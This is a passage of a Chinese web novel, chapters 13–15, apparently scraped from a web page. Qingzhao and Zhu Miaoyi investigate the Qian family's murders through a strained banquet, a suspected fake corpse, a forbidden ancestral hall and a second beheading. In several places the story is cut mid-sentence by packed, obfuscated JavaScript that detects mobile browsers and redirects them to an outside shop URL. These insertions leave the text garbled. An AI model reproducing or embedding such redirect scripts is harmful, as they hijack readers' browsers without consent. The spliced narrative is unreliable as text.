两杯错认水下肚,晴朝能够感受到一股暖意从自己的胸膛中缓缓升起,她满意地伸了个懒腰,活动了活动自己的颈椎,接二连三的动作俨然都带有明显的鸟类天性。 “说实话,我也不知道我为什么会忽然对着唐亦景发脾气?”晴朝坦白道:“也许我只是单纯不喜欢听到他维护仙界。” “仙界?原来这世上真的有神仙存在啊。”朱妙仪轻声感慨道:“雀儿姐姐,那神仙都是长什么样子的啊?” “其实我也没有见过神仙长什么样子,对于我们妖族来说,能够见到的唯一从仙界而来的东西只有天罚。” “天罚……”朱妙仪轻声重复了一句。 她还记得晴朝曾经说过,她之所以会百年城现在这个样子,都是因为受到了天罚的伤害。 “有时候我真的不明白,仙界对待唐亦景总是一副呼之即来、挥之即去的样子,他们对唐亦景就连基本的尊重都没有,但唐亦景还是坚定地、义无反顾地选择站在仙界那一边。” 晴朝又往嘴里灌了一口酒。 “他明知道神仙是最无情的,他明知道在那些人眼中他不过是一枚尚存在利用价值的棋子,但他还是宁愿抛弃一切也要得到仙界的承认。” “在这舍弃的一切当中,也包括雀儿姐姐和他的情谊吗?” 晴朝有些惊讶地看向朱妙仪,半晌脸上露出了一个惨淡的笑容。 “你说得对,自然也包括我对他的感情。” 有过一霎那朱妙仪想要纠正晴朝的话,因为在她看来晴朝与唐亦景之间的感情绝非是一厢情愿,而是双方的有来有往。 但看着晴朝落寞的神情,朱妙仪还是将这些话暂时咽了回去。 “妙仪,你相信我吗?你相信我真的在那间书房中感觉到妖气了吗?” 朱妙仪看着晴朝的眼睛,十分肯定地点头。 “雀儿姐姐,我相信你。” 晴朝笑了,抬起身摸了摸朱妙仪的脑袋。 “但是只有相信是不够的。”朱妙仪抬手握住晴朝的手,“雀儿姐姐,就让我们一起找寻到隐藏在这件事背后的真相吧。” 看着朱妙仪跃跃欲试的表情,晴朝点了点头。 过了中午,四人又在玉笛轩门口碰面了。唐亦景看起来欲言又止,而晴朝是瞥了他一眼便走了出去。 到达安南县县衙,赵刚已经在衙内等待四人。他们跟着赵刚到了停尸房,见到了钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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抬起手摸了摸额间的羽毛图案,晴朝轻轻叹气,“难道说真的是因为我长久不离开员峤山,就连这保命的本领都已经变得迟钝了?” 这时晴朝才发现朱妙仪的眉头微皱,就连脚步都放慢了不少。晴朝停住脚步,关切地看向朱妙仪。 “妙仪,你怎么了?” “没什么,我只是想到了我家的事情。”朱妙仪快步跟了上来,“走吧,咱们先回钱家吧。” 四人刚走进玉笛轩,便与来到玉笛轩寻找他们无功而返的凝露打了个照面。 “四位贵客,我家大公子今日中午刚刚赶到家中,我家夫人想邀请您们今晚一同到花厅用膳。” 朱妙仪看了看晴朝,开口说道:“钱夫人与钱公子用餐乃是家宴,我们是外人,这不合规矩吧?” “朱二娘子说的是哪里话?我家夫人虽说嘴上厉害些,但心中还是记挂着朱家的,您是我家夫人的侄女,来参加家宴也没什么不妥的。” 晴朝忽然想起今日上午赵刚曾经说过的话,“我记得钱员外有两个儿子,而你家夫人所生的应该是小儿子吧?” 凝露动作一滞,但还是立刻回答道:“客人说的是,这位大公子乃是钱员外的元配夫人所生,我家夫人算是他的继母。” 这样看来朱云窈忽然邀请他们一同用晚食,恐怕是担心自己的这位继子在晚食时会将场面闹得过于尴尬。 朱妙仪先望向大家,再确定三人都点过头后,她才回答道:“好吧,那我们就答应我姑母的邀约了。”朱妙仪着重了强调了这个称呼,“只是麻烦凝露姑娘转告我姑母,起码在钱大公子面前,我不想暴露出姑母已经与朱家断亲的事情。” 凝露姑娘本以为朱妙仪也不过是一个懂事乖巧的大家闺秀,没想到对方会在这个节骨眼上要挟钱夫人,最终只能咬着牙笑着说道:“朱二娘子放心,我家娘子是朱家的女儿,自然要维护朱家的颜面。” 凝露转身要走,却被朱妙仪叫住了,并且主动提出自己要一个人送一送她。 “凝露姑娘,我今日来到贵府实在是大开眼界,真没想到这小小的安南县中竟藏着一户仙境别苑。” 凝露微笑,“娘子谬赞了,这处宅院原就是钱家的宅子,只是在我家老爷年轻时曾经有过一次大规模的翻修,据说现在宅子里的每一处景致都是我家老爷过目后才允许修建的。” “这样说来,钱员外并非是白手起家了?” “不是的。钱家世代经商,我家老爷年少时也算是家境优渥,只可惜本朝律例规定商贾之子不得参与科举,所以我家老爷才选择了子承父业。” 朱妙仪点点头,顿住了脚步。 “到这我便不再继续送凝露姑娘了,你慢走。” 凝露虽然有些疑惑,但还是向朱妙仪叉手行礼后转身离开了。 13. 第 13 章 朱妙仪走回房间,正好碰见晴朝急匆匆向外走去。 “妙仪,你先一个人在屋里休息,我想去书房再看一眼。” “等等,雀儿姐姐。”朱妙仪快步跟了上去。“我同你一起去。” 二人去往西院的路上,碰见了抱着剑一人站在原地愣神的颜琅。 “表哥!” 颜琅看见朱妙仪和晴朝有些诧异,开口问道:“你们怎么也来了?” “也?”晴朝反问道:“还有谁过来了?” “自然是唐大人啊。”颜琅用下巴指了指书房的方向,“我刚才是跟着唐大人一同过来的,他这会已经到钱员外书房去了。” “唐亦景……”晴朝抬起脚刚想离开,却被朱妙仪拉住了胳膊。 “表哥,那你在此处做什么呢?” “我在看钱家祠堂。”颜琅用剑柄指了指他面前的方向,朱妙仪和晴朝这才发现刚才颜琅并不是在发呆,而是在一直盯着眼前的钱家祠堂。 “我今天上午便觉得这祠堂有些古怪,只是又说不上来究竟哪里古怪,所以想着过来再看一眼。” 颜琅看向朱妙仪,忽然像想起来什么一样从袖中摸出一块手帕。 “书房内血腥味太重,你遮掩着口鼻就会好些。” 朱妙仪摆了摆手,“没事的表哥,我自己有手帕。” “你的手帕金贵,哪能做这种污糟事,还是用我的手帕吧。” 朱妙仪有些不好意思地看了晴朝一眼,晴朝露出一个微笑,自觉地站到了一边。 “多谢表哥。”朱妙仪收下手帕,“那我们就先走了。” 到达钱员外的书房,唐亦景果然已经在那里了。 朱妙仪一边将颜琅的手帕围在口鼻处,一边开口叫道:“亦景哥哥。” 唐亦景对朱妙仪点了点头,但是在看向晴朝的时候仍然因为对方猛然撇开头而只能看到一个后脑勺。 “晴朝,你是不是也发现那尸体身上并无妖气了?” 唐亦景早在停尸房外面便意识到了晴朝的改口必定是事出有因。 晴朝坦然地点头,“唐亦景,但这并不证明我认为我对于这间书房内有妖气的判断有误。” 唐亦景没有继续反驳晴朝,只是指着一处血迹示意她们二人过来查看。 晴朝盯着那处血迹看了看,忽然伸出手用手指捻起一块血块,用拇指与食指对着揉搓了几下。 “这不是人血?” 朱妙仪一愣。 唐亦景开口解释道:“我也是刚刚才发现的,这应当是将人血与畜血混合在了一起,所以赵都头才没有立刻发觉。” “真是奇怪,这案发现场怎么会出现畜血呢?” “会不会是因为死的人根本就不是钱员外?” 晴朝与唐亦景同时看向说话的朱妙仪。 “我今天在停尸房的时候便发现那尸体的手有些不对劲,那双手虽然很干净,但却有好几处茧子。刚才我特意问过凝露,她告诉我钱员外自小家境优渥,在这种环境下长大的钱员外手上绝不可能有这么多老茧。” “若真是如此,那也能够说通我为什么在书房内感受到了妖气,但在停尸房内却没有察觉到了。” 晴朝看向朱妙仪。 “妙仪,可是那尸体肯定是被钱家人确认过的啊,怎么会出现这种疏漏呢?” 唐亦景走上前来,“这便证明在钱家人中必定有人知道这个计划。” 晴朝恍然大悟,“钱大公子不在家,小公子年纪尚幼,辨认尸体的人只能是钱夫人了。” “看来我那位姑母应当是对我们隐瞒了一些事情。”朱妙仪勾起嘴角,“今晚用晚食的时候我们应当是有好戏看了。” 走出书房,唐亦景唤住了晴朝。 “晴朝,我今日所言绝对没有冒犯你的意思。你是朱雀一族的族长,我知道朱雀冠羽对你来说很重要。” 晴朝停住脚步。 “只是我的拂尘乃是捉妖法器,若那人真的是在这间书房内被妖族所杀,拂尘是一定能够觉察到的。” 晴朝蓦的转过身来,颇有些不耐烦地问道:“你究竟想说什么?” 唐亦景垂下眼帘看着晴朝,目光很是坚定。 “我只是想告诉你,即使我认为这案子与妖族无关,但只要你想查,我便一定会陪着你在此地查出真相。” 朱妙仪在一旁听着唐亦景的话,抬起手默默捂住了自己的嘴巴。 晴朝没有再说话,只是撇了撇嘴,接着向唐亦景伸出自己刚摸过血迹的手。 唐亦景露出一个微笑,抬手用拂尘一挥,晴朝手指上刚才沾到的血污便瞬间不见了。 “走吧。”晴朝走上前拉住朱妙仪的胳膊,三人走出了西院。 到了傍晚朱妙仪才知道今晚和他们一同用餐的并不只有钱家人,跟着钱大公子一同回来的还有一个姓刘的商人,凝露介绍说这个商人是与钱大公子一同做生意的重要合伙人,钱员外生前也与他很是熟悉。 晚宴设立在东院的一座假山之上,沿着一条小溪拾级而上,一座赭色瓦顶的小亭立于假山顶部,檐角如鹊翼般斜斜翘起,檐下分别挂着几个小小的黄铜铃铛。 风过檐角,铜铃便坠下一串清响,初时如碎玉相击,尾音又似流云拂过松枝。 朱云窈现下已换下了丧服,只是在头上戴一朵白色的绢花表示尚在服丧期。亭中此时已经摆好桌椅,她坐在上首,右手边依次坐着两个年轻模样的男子。 见朱妙仪一行人走来,坐在朱云窈右手边第二位的男子迅速站起,拱手向他们一行人行礼。而坐在他旁边的男子只是在拿酒壶的过程中抬眸瞥了他们一眼,仿佛对于他们的到来十分不满。 朱妙仪眉毛微挑,看来这人应该就是钱家的大公子钱显孝了。 “大郎,这一位便是我曾向你提起过的朱二娘子。”朱云窈摸了摸坐在她身边年轻男子的胳膊,她的语气很温柔,但面上的微笑却有些僵硬。“按道理来说你应该唤她一声表妹的。” 钱显孝此时终于舍得抬起头来面对朱妙仪。这是一张棱角过于分明的脸庞,一双丹凤眼微微上挑,瞳孔却不是很大,因此在看人的时候总好像带着一股不屑的态度。 朱妙仪并不在意钱显孝看向自己的眼神中带有什么情绪,她只想赶紧结束这段对话,因此主动叉手行礼道:“见过表哥。” 朱妙仪本来以为钱显孝至少会象征性的向自己点一点头,没想到对方在听了自己说话后不仅没有回应,反而忽然放声大笑起来。 “真是奇怪,我外祖家只有我母亲一个女儿,又是从哪里冒出来的表妹呢?”说着话,钱显孝又开始往自己的酒盅中倒酒,朱妙仪这才发现他已不知何时将自己刚才酒盅里的酒又喝尽了。 朱云窈的神色立刻变了,虽然她的嘴角明明还保持着向上弯起的弧度,但眉头却悄悄皱起,在眉心中挤出一个浅浅的“川”字纹路。 “大郎糊涂了,这个表妹是我弟弟的女儿,不是你外祖家的。” 大约因为有客人在场,朱云窈还是想支撑着体面,因此即便钱显孝说话这样夹枪带棒,但还是微笑着继续说话,试图让尴尬的气氛缓和下来。 但很不幸的是,钱显孝并不打算让她如愿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241763|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我看是夫人糊涂了吧?我又不是夫人所生,与你娘家的人又有什么关系?”说完,钱显孝抬眸瞥了朱妙仪一眼。 “今日的钱家可真是不同于往日了,什么八竿子打不着的亲戚都敢来家里晃悠。原先我母亲执掌中馈之时,可从来不曾见过这种事情。” 朱妙仪本来已经在心里做好了思想建设,她知道钱显孝必然会将自己当做他与朱云窈之间斗法的工具,却没想到他说话竟会如此蛮不讲理。 即便他们一行人只是受赵刚之托前来钱府协助调查案情的陌生人,钱显孝也不应当如此慢待于他们。 朱妙仪刚准备说话,却见一只手轻轻放在了她的手背上,示意她站到后面去。 “颜某素日久闻钱公子大名,没想到今日一见果真是不同凡响,格外有个性啊。”颜琅走上前,看着钱显孝冷哼一声,“钱公子放心,我们几位家中虽然比不得您家财大气粗,但到底也是从来没缺过钱的,因此实在没有上赶着硬要跟您凑这门亲戚的道理。” 钱显孝本以为他们四人都不过是朱云窈不知道从哪招来的穷亲戚,因此刚才说话的时候才会格外不知分寸。这会听到颜琅说话,心中忽然迟疑了一下。 “你是哪位?也是朱家的亲戚吗?” 颜琅斜睨着钱显孝开口:“在下颜琅,是朱二娘子的表哥。” 钱显孝并未听过安南县附近有颜姓的高门大户,因此只当颜琅是个装模作样的无名小卒,正准备开口讥讽。 谁知就在这时,刚才向众人拱手行礼的刘姓商人忽然开口问道:“在下冒昧,敢问颜公子的父亲可是京兆府府尹颜崇礼颜大人吗?” 颜琅一怔,他着实没想到自己走到这里竟还能碰到知道自己父亲名讳的人。 “确实是家父,敢问您是?” 那商人的神情像是吃了一惊,但随即开口说道:“在下刘绍,是与钱大公子一同做生意的商人,平日喜好收集字画。在下曾有幸见过尊父一幅墨宝,尊父的小草笔法真可谓是精钢百炼,令人感到惊心动魄啊。” 颜琅的父亲确实有在闲暇时写字的爱好。听了刘绍的话,颜琅抱拳行礼道谢。“刘兄谬赞,家父无聊时确实喜欢写字,此番回京我定当将刘兄的称赞转告家父。” 与刘绍客套结束,颜琅再次将目光转回到桌子上,却意外发现另外两人也已变了脸色。 朱云窈似乎并不相信颜琅刚才所说的话,因为她正在用一副审视的眼光上下打量着颜琅。 而从刚才起一直出言不逊的钱显孝此时已站起身来,他的脸上再也找不出刚才的嚣张气焰,反而是眉开眼笑地对着颜琅说道:“在下竟不知是颜公子远道而来,有失远迎实在是惭愧、惭愧啊。” 说着,钱显孝便端起自己面前的酒盅,“既然如此,在下这就自罚一杯略表歉意。” 晴朝有些惊讶地看着钱显孝与刚才判若两人的样子,而唐亦景与朱妙仪却是对视一眼,皆露出一个鄙夷的表情。 “来来来,颜公子快请上座!”说着话,钱显孝便要向颜琅走过来,只是不知是不是因为刚才那几杯酒的关系,钱显孝在起身时打了个趔趄,还好被刘绍及时扶住才没有摔倒。 “刘绍,你还愣在这里做什么?还不赶紧把颜公子请过来入座!” 刘绍搀扶着钱显孝坐回座位上,他的面上并没有什么表情,俨然一副对钱显孝的酒后失态早已习惯的样子。 “颜公子,您快坐下!请坐,请坐啊!” 颜琅表明身份乃是不愿意听到钱显孝的冷嘲热讽,但现在听着钱显孝对自己的阿谀奉承,颜琅竟又有些怀念刚才桀骜不驯的钱显孝来。 14. 第 14 章 朱云窈出声打断了钱显孝的醉话,她抬起手示意朱妙仪坐到自己左手边来,接着开口说道:“时候不早了,咱们赶紧坐下开席吧。” 朱妙仪一愣,开口询问道:“姑母,怎么不见表弟?” 朱云窈这次并没有再说出什么尖酸刻薄的话来,她轻轻摆了摆手。“你表弟从小身子不好,饮食也要格外讲究些,吃不得生冷刺激之物,我便让他在我屋中用晚食了。” 朱妙仪这才发觉自他们一行人到达钱家开始自始至终都没有见过自己的这个表弟,毕竟按照朱云窈嫁到钱家的时间来说,这位表弟年纪也已经不小了,早已经该开悟上学堂了。 众人坐定,婢女端着一道道菜肴依次而入,在凝露的指引下将菜品摆放整齐。与钱家的宅院风格相似,钱家的宴席也是别具匠心。那道鱼脍朱妙仪在浔阳楼也曾经品尝过,但钱府的膳夫竟然选择将每一片鱼脍皆切成近乎透明,再用四到五片鱼脍包裹成玫瑰花状摆在盘中。 若不仔细观察,真会以为这盘中并非鱼脍,而是一朵朵以琉璃精雕细琢而成的玫瑰花。 菜过五味,朱云窈便放下了筷子。 “刘公子可是许久不到家中来了,是不是近来生意很是忙碌啊?” 从刚才开始朱妙仪便注意到朱云窈与刘绍似乎很是熟悉,朱云窈与刘绍之间说话的状态甚至比起她与钱显孝说话要更加自然。 刘绍笑着对朱云窈说道:“夫人折煞刘某了,刘某现在不过也跟着钱公子打打下手罢了,这还要多亏了钱家愿意赏给我一口饭吃。” “刘公子哪里话?生意场上盈亏皆是常事,刘公子头脑聪敏,不日定能够东山再起的。”说着话,朱云窈笑着向刘绍举起酒盅,而刘绍也回敬了朱云窈。 这刘绍瞧着比钱显孝大不了多少,因此朱妙仪原先只当对方是钱显孝生意场的伙伴,是通过钱大公子结识的钱员外。但现在听他们这样一讲,又觉得好像是钱员外与刘绍认识得更久一些。 “刘公子原先也是自己做生意的吗?” 刘绍笑着看向朱妙仪,“早些年我曾做过瓷器生意。” “刘公子从前可是余姚郡最厉害的瓷器商人,他家铺子中的瓷器比起皇家所用都有过之而无不及呢。” 听了朱云窈的话,刘绍连忙摆手说道:“都是过去的事情了,您还提它做什么?” “对啊,都是过去的事情了,总还挂在嘴边有什么意思?说得好像现在刘家的铺子还在一样。” 此话一出,即便是从刚才开始一直笑眯眯的刘绍都没忍住变了脸色。 钱显孝好像有语不惊人死不休的癖好,每次发言都必须要得罪到谁才能舒服。 “钱公子说得对,刘家铺子已经不在了,是我亲手将那铺子抵出去了。”刘绍端起酒盅掩饰住自己面上的落寞。 朱云窈见刘绍面上难看,连忙出言安慰道:“绍哥儿快别这样讲了,刘家铺子是抵给钱家又不是旁人。你与我家员外是多年的生意伙伴,我家员外在世时总念叨着要将铺子还给你。现在他人虽然没了,但我是绝对不会忘记这件事的。” “把铺子还了?我看你怕不是喝醉酒说胡话了吧?”钱显孝忽然将酒盅十分用力地砸在了桌子上。 “大郎,我并非是空口无凭,你父亲曾写过一张字据,证明他早已有将刘家铺子归还给绍哥儿的想法。” “什么字据?我没听说过!”钱显孝蓦的站起身来,“钱朱氏,你可不要怪我没提醒过你,这是在钱家,这宅院之中里里外外都是我父亲留给我的家产!你有什么资格在这说话?” “你!”朱云窈似乎没想到钱显孝会忽然发难,脸色一时竟有些苍白。 刘绍已经站起身扶住钱显孝,主动说道:“显孝你放心吧,那铺子是我抵账抵给你家的,绝没有平白无故要回去的道理。” “你滚开!”钱显孝忽然一把挥开刘绍的手,这时即便坐在钱显孝对面的朱妙仪都已经闻到了钱显孝身上浓浓的酒气。 “钱朱氏我警告你,若你识相的话就赶紧把你生下来的那个蠢货过继给族中其他人,否则我定会将你同你的儿子一同赶出钱家去!” 即便是与朱云窈如此不对付的朱妙仪听到这都有些恼怒了,即便朱云窈是钱员外的继室,可钱小公子可是名副其实的钱家嫡子。钱显孝竟敢如此对待自己的嫡亲弟弟,实在是 蛮横无理。 “钱大公子,你这话便有些没有道理了。钱小公子再怎么说也是钱家的儿子,若非是他年纪小些,这钱家要留给谁还说不准呢?再说现在钱员外离世,你不善待幼弟便罢了,居然敢公开扬言要将自己的嫡母赶出府去,你就不怕官府派人来抓你吗?” “你……”钱显孝大量咒骂的话在看到颜琅凶神恶煞的神情后瞬间憋了回去,只是忿忿不平地看了朱妙仪一眼。 “大郎,妙仪说得对。即便你不尊重我,可义哥儿可是你的亲弟弟啊,你怎么能让我将义哥儿送去别家做儿子呢?” “我刚才便说了,我母亲早在二十年前就已经死了,我没有弟弟,更没有什么嫡母!”说完,钱显孝端起桌上的酒壶,扫视过桌上众人后,径直走下了山。 钱显孝走后,朱云窈抚着心口一个字也说不出来,只是簌簌落泪。刘绍站在朱云窈身边静默着,面容像深寒的水潭般毫无波澜。 朱妙仪也没想到这顿晚宴竟会以这样的结局收场,与唐亦景、晴朝分别对视一眼后,几人一同起身告辞了。 回到玉笛轩,晴朝翘着脚躺在贵妃榻上说话。 “要我说,这钱家还真是来对了,我可许久都没见过这样一出大戏了。” 朱妙仪坐在一旁圆凳上喝茶,听到晴朝这样讲,忍不住笑了。 “不过你发现没有,你姑母每次提起你姑父之死时都并无伤心之色,仿佛是在说一个与她不相干的人。” 朱妙仪点了点头,“我也发觉了。只是据赵都头所说,我姑母夫妻之间的感情并不好。再加上那钱显孝竟敢对我姑母如此无力,想来平日里钱员外也并未给过我姑母倚仗,所以他们感情淡薄也许也是正常的。” 晴朝觉得朱妙仪这话有理,跟着点了点头。 “妙仪,你还记得今天咱们一同说起过的钱员外尸体一事吗?” 提起这事来朱妙仪便有些生气,“我本想着今晚用晚食的时候对我姑母旁敲侧击一番,没想到那个钱显孝是一点机会都没给我留,还没等我开口就直接把桌子给掀了。” 晴朝想起钱显孝对待颜琅时趋炎附势的作风,嘴角不自觉地露出一个笑容。 “罢了,左右你姑母必定是有嫌疑的了,不问她也好,至少能避免打草惊蛇。” 忽然,晴朝仿佛想起来什么般一骨碌坐起身,转头看向朱妙仪。 “妙仪,你说钱员外现在到底是死是活?他不会根本就没有死吧?” 朱妙仪缓缓吐了一口气,“其实我今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241764|197765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用晚食时便一直在思考这件事情,我觉得如果这桩案子真的是我姑母设下的一个局,那钱员外被杀的这个结果根本不能给她带来任何好处。” 晴朝点了点头,“没错,只要钱员外还活着,她就永远都是钱家的女主人,而不是如现在这般处境尴尬。” 毕竟就如同朱妙仪刚才在宴席上曾经说过的,若是钱员外能够等到小儿子长大,这钱家的继承者还不知会是谁呢。 “既然如此,那你说他们到底为什么要伪造一具尸体?或者说,钱员外为什么要伪造自己的死亡呢?” 朱妙仪也想不明白这件事,只能无奈地叹了口气。 “也许,这一切都要等到咱们找到钱员外才能得知答案了,” 听了这话,晴朝也跟着叹了口气,顺便抬起胳膊伸了个懒腰,晃了晃自己的脑袋。 “到人界好长时间了,竟然一直没找到机会现出原形舒展舒展筋骨,真是感觉翅膀都发硬了。”说着话,晴朝还不忘长长的叹了口气。 朱妙仪脑中立刻浮现出在员峤山第一次见到晴朝时看到的华丽尾羽,但她直到现在也没有见过晴朝显露原形的样子。 “雀儿姐姐,待你哪日找到机会现出原形,一定要记得提前知会我。”朱妙仪一脸期待不已的样子,“我还从来没有见过真正的朱雀长什么样子呢。” “你放心吧,到时候我还可以带着你在天上兜一圈。”晴朝拍拍胸脯做出了保证。 约莫到了二更天初,晴朝忽然来到了朱妙仪的屋内。 朱妙仪从屋内书架上随便找了本小说,看着看着才发现这本书是一本志怪小说,其中掺杂了不少与妖怪有关的离奇故事。朱妙仪觉得有些意思,因此从回屋之后便一直趴在床榻上看书。 晴朝走进来的时候朱妙仪正看到那妖从外头寻了张美人皮披在身上,因此在听到晴朝说话的时候差点叫出声来。 “雀儿姐姐,你怎么走路一点动静都没有,差点吓得我魂都要掉了。” “你在这看什么呢?”晴朝顺手拿过那本书翻了两页,但很快就还给了朱妙仪。 她认字不多,实在看不了这种满篇都是字的东西。 “而且我可以负责任地告诉你,即便真的掉了魂也不会怎样的。你看我,现在不还是活得好好的吗?” 朱妙仪坐起身来,“好姐姐,你以后可别说这种话了,我怕我忍不住笑了之后会遭天打雷劈。” “哎!你别说,”晴朝忽然伸出一根食指到朱妙仪跟前,“我还真是被雷把魂儿劈掉的。” 朱妙仪立刻决定赶紧起身把书收到桌子上,并且往后再也不跟晴朝讨论天气问题。 晴朝却并不在意自己刚才提到过的悲惨遭遇,再一次挤到朱妙仪身边。 “妙仪,你想不想现在跟我一同出去找一找钱员外?” “咱们两个?”朱妙仪的面上并未露出吃惊和害怕的神情,“可以是可以,只是你真的觉得咱们两个能够找到他吗?” “出去走走不就熟悉了?”晴朝一把拉住朱妙仪的胳膊,“走吧走吧,咱们就当是出去散散步了。” 朱妙仪向前走了两步,忽然扭过头狐疑地看向晴朝。 “雀儿姐姐,你说实话是不是又吃多了,这才专门找了个借口好让我陪你出去遛弯消食啊?” 晴朝见自己的小心思被拆穿了,赶紧拉起朱妙仪向外走去。 “快别想这么多了,赶紧走吧!” 15. 第 15 章 今晚的月色皎洁如水,繁星点缀夜幕,倒确实是个适合散步的好时机。 此时的钱家已经基本归于寂静,院中没有了来往络绎不绝的仆人,终于显出几分与这宅院陈设相符合的清净雅致来。朱妙仪提了一盏灯笼,与晴朝并排着在东院中走着。 “你说你姑母会将钱员外藏在哪里呢?” 朱妙仪一直用眼睛盯着眼前的灯笼,“对于现在的我来说,我倒宁愿我姑母是将钱员外直接扔在了路边的草地里。” 晴朝被朱妙仪的话逗笑了,只是现在时机不对,所以没敢笑出声来。 晴朝是个不记路的,二人完全是凭借着朱妙仪的记忆在东院中摸索,好在她们也没打算真的依靠自己的力量在一夜之间就将这件案子的真相找出来。对于晴朝来说,赶紧散步帮助她将今晚吃的炙羊肉消化掉才最重要。 “二位娘子,不要向前走了。” 正在这时,一道女声忽然从身后叫住了她们两个。 朱妙仪本感觉有些不好意思,没想到回过头来竟看到一张熟悉的脸庞。 “凝露姑娘?” 凝露并没有提灯笼,因此还能对着朱妙仪和晴朝叉手行礼。“二位娘子,不要再往前走了,这条路的尽头是通向钱家祠堂的。” “就是那座修建得像宝塔一样的祠堂?”晴朝忽然来了兴致,“你别说,我还真想过去看一看呢。” 凝露此时已经不留痕迹地走到了朱妙仪与晴朝身前,同时也挡在了她们去往祠堂的必经之路上。 “二位娘子莫怪,钱家祠堂不允许外人靠近。即便是我们这些在钱家做久了的下人,也不能够接近祠堂。” “这么神秘吗?” 看着晴朝对着自己身后探头探脑的样子,凝露立刻决定换一种说法劝说二人。 “半月前钱家祠堂忽然遭了雷击,我家夫人时刻记着钱员外规定绝不许旁人接近家祠的规矩,因此还没有找人过来查看那栋建筑的受损情况。”凝露笑着看向朱妙仪,“朱二娘子,您是我家夫人的亲侄女,若是这祠堂哪突然掉下一片瓦来伤了您,我家夫人是绝无脸面再面对朱家的列祖列宗了。” 朱妙仪笑了笑,“凝露姑娘放心吧,我们这就往回走了。” 凝露赶紧走上前来扶住朱妙仪手中的灯笼说道:“东院地形复杂,还是我送二位娘子回去吧。” “那就有劳凝露姑娘了。” 回去路上,凝露与朱妙仪、晴朝一前一后走着相对无言,只有一盏烛火曈曈驱散黑暗。 “凝露姑娘,我姑母现下可好些了吗?” 凝露轻轻点头,“娘子放心吧,夫人已经没事了,现下正在屋内哄义哥儿睡觉呢。” 晴朝忽然出声问道:“义哥儿?可是我们今日没见到的钱家小公子?” “正是。我家小公子名唤显义,乳名便是义哥儿。” “你们义哥儿今年多大了?” “回娘子话,刚过八岁生辰不久。” 即便是晴朝都知道对于人族男子来说,六岁开蒙都已经算迟了。而这义哥儿都八岁了还要朱云窈哄着睡觉。再联想到钱显孝刚才在席上说这钱家小公子是个蠢货,她忽然觉得也许钱显孝说得并不是一句谩骂,而是陈述了事实。 正在这时,朱妙仪忽然问道:“凝露姑娘,恕我冒昧,你现在可曾婚配了吗?” 凝露像是没想到朱妙仪会这样直白,转过头来轻声说道:“娘子何出此言?” “你别误会,只是我想着你跟随我姑母嫁来钱家也有些年岁了,按照你的年纪来说,若还在朱家必然已经放你归家成亲了。” 凝露明白过来,低头轻声说道:“多谢娘子挂念,奴婢已经成亲了。只是因为配的是钱府家生子,所以并未离开钱家。” “原来如此。”朱妙仪轻轻点头,“不过我想依照凝露姑娘的身份来说,配的必然也是钱家有头有脸的人物吧?” “娘子谬赞,奴婢的丈夫名唤金生,也不过是个钱家的下人罢了。” “金生?”朱妙仪与晴朝对视一眼。“可是钱员外的小厮金生?赵都头今日说他曾让金生去查看过书房架子上的书籍。” “我丈夫原先确实是跟着钱员外的,他与钱员外从小一同长大,因此这些年一直帮员外管着商行的账本。” 此时已经能够看到玉笛轩的建筑了,朱妙仪赶紧追问道:“那钱员外在书房遇害的事情,是府中谁发现的?” “正是我丈夫,那天早晨他原本是要去书房存放账簿的,没想到却发现了员外的尸体。” 说完话,凝露将灯笼重新递给朱妙仪。 “奴婢就不打扰二位娘子休息了,告退。” 回到玉笛轩,晴朝直接拉着朱妙仪冲到了唐亦景与颜琅的房间。 “虽然那个凝露姑娘说祠堂不允许靠近是钱员外定下的规矩,但这样一来岂不是也为他们藏匿钱员外找到了一处绝佳的地点了吗?” 唐亦景点了点头。 “确实。这样来看的话,无论钱员外是死是活,藏在祠堂之中都是一个保险的办法。” “而且我刚才问过了,凝露姑娘与钱员外身边的金生乃是夫妻,如此说来我更觉得那天早晨第一个到达书房的金生与此事脱不了干系了。” 颜琅此时刚洗漱过,脸上的水还未擦干便走了过来。 “我觉得这祠堂绝对有调查的必要。” 朱妙仪站起身来,“好,待明日我便将这件事告知赵都头。有官府的人在场,我想钱家便不会再阻拦我们了。” 第二日一大早,朱妙仪便被窗外来来往往的脚步声吵醒了。 晴朝已经起床了,朱妙仪走到院中时,正好看到晴朝从院外走了回来。 “雀儿姐姐,这么早你去哪里了?” “妙仪,出事了。” 晴朝快步走过来,“我刚才听钱家的一个下人说,今天早晨钱显孝被人发现死在自己屋里了。” “什么?”朱妙仪只觉得自己的脑子还有些迷糊,“你刚才说谁死了?” “不仅如此,那下人还说钱显孝的死状与他父亲一模一样,只有一个身体尚在房中,脑袋已经不见了。” “什么?” 朱妙仪这下终于醒了。 二人立刻到唐亦景和颜琅房中叫起了两人,洗漱结束后一同前往了钱显孝卧房所在的西院。 到达钱显孝卧房时,果然碰见了早已在那边探查多时的赵刚。几人相互见礼后,跟着赵刚一同走进了钱显孝的卧房。 钱显孝的卧房分内外两间,外间是见客的堂屋,内间才是钱显孝睡觉的地方。朱妙仪走进去时发现,果然如同赵刚一开始介绍 